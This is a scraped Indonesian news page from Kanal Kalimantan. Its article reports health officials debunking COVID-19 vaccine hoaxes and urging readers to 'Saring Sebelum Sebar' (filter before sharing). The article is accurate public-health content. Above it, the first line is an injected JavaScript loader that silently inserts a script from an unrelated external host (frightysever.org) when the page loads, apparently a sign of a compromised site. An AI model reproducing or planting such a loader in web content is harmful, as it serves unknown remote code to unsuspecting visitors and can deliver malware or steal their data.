(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Hoaks Covid-19 Merajalela, Kemenkes: Masyarakat Perlu Diedukasi


KANALKALIMANTAN.COM – Hoaks Covid-19 tidak boleh dianggap sepele. Ini harus menjadi isu yang perlu diperhatikan. Pasalnya, jika tidak dikendalikan, berita hoaks bisa menggagalkan program vaksinasi Covid-19.

Hal ini dikatakan oleh Kepala Biro Komunikasi dan Pelayanan Masyarakat Kemenkes Drg. Widyawati, MKM dalam Dialog Produktif Kabar Jumat yang mengangkat topik Protokol Kesehatan Bulan Ramadan, Jumat (16/4/2021).

“Sampai April 2021 ini, Kemenkes dibantu Kominfo telah menemukan 1.562 berita hoaks Covid-19, di antaranya terkait vaksinasi,” ungkapnya.

Baca juga: Tradisi “Bagarakan Sahur” di Kampung Alalak, Berlanjut Hingga Generasi Bocah Milenial

 

Hal ini perlu adanya edukasi masyarakat agar tidak tergiring berita hoaks. Lewat edukasi ini, Kemenkes bekerja sama dengan Kominfo, Satgas COVID-19, dan juga UNICEF.

Kemenkes kerap melakukan media monitoring sebagai proses evaluasi aktivitas media. Dari kegiatan tersebut, Kemenkes bisa memantau isu yang berkembang, baik yang positif maupun yang negatif.

“Isu negatif ini perlu ditindaklanjuti agar tidak berkembang. Untuk itu, kami memantau pemberitaan di media massa dan juga percakapan di media sosial,” terang Drg. Widyawati.

Menurutnya, isu negatif dari media massa perlu direspon secara khusus. Tidak hanya menangkal hoaks saja, melainkan juga mengedukasi masyarakat. “Caranya dengan mengundang narasumber untuk menerangkan hoaks. Lalu klarifikasi informasi yang kurang tepat, juga kita lakukan konferensi pers dan penyebaran informasinya. Baik berupa rilis maupun infografis,” jelasnya.

Baca juga: Satpol PP Banjarmasin Bakal Tertibkan Warung Sakadup dan Manusia Gerobak Selama Ramadhan

Senada dengan itu, dokter spesialis paru FKUI dr. Erlina Burhan M.Sc, Sp. P(K) mengatakan, isu hoaks Covid-19 yang hangat saat ini banyak terkait dengan vaksin AstraZeneca.

“Vaksin AstraZeneca, misalnya, perlu diketahui bahwa pabriknya ada di India, bukan di Korea Selatan. Selain itu, kasus Covid-19 di India saat ini juga meningkat drastis, yakni lebih dari 120.000 dalam sehari,” ungkap dr. Erlina Burhan, yang kemudian melanjutkan bahwa kasus yang tinggi ini mengharuskan vaksin tersebut diperuntukkan bagi kebutuhan domestik terlebih dahulu.

Baca juga: Simpan Sabu dan Ekstasi, Buruh Bangunan di Banjarmasin Dicokok Polisi

Selain itu, isu yang juga beredar yaitu terkait vaksin mRNA, seperti vaksin Pfizer dan juga Moderna. Dikatakan, kedua vaksin tersebut dapat merusak DNA manusia.

“Ini hoaks yang sering beredar di grup-grup WhatsApp. Sebenarnya vaksin mRNA ini tidak merusak DNA manusia. Juga isu vaksin ini mengakibatkan kemandulan. Itu tidak benar,” paparnya.

Hoaks lain yang juga sering terdengar adalah keberadaan microchip di dalam vaksin.

“Kalau bicara hoaks, bisa menyebar ke sepuluh orang dalam tiga menit. Sementara untuk meluruskan hoaks perlu waktu, data, dan narasumber yang terpercaya,” ungkap drg. Widyawati.

Itu sebabnya, Kemenkes mengimbau agar menerapkan 3S saat menerima berita hoaks, yakni Saring Sebelum Sebar. Dengan menerapkan ini, diharapkan masyarakat terhindar dari informasi yang tidak benar. (suara.com)


Al Ghifari

Recent Posts

Kabur saat Diperiksa di Kejari Banjar, Akhirnya Polisi Tangkap Kades P di Tanbu

KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More

12 jam ago

BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari

KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More

12 jam ago

Jembatan Guntung Manggis – Trikora Sudah Dilintasi, Dishub Kalsel Masih Kaji Rekayasa Lalin

KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More

13 jam ago

Diprediksi 3 Juta Lebih Jemaah Ikuti Rutin Malam Senin 5 Rajab di Sekumpul

Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More

13 jam ago

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

1 hari ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

1 hari ago

This website uses cookies.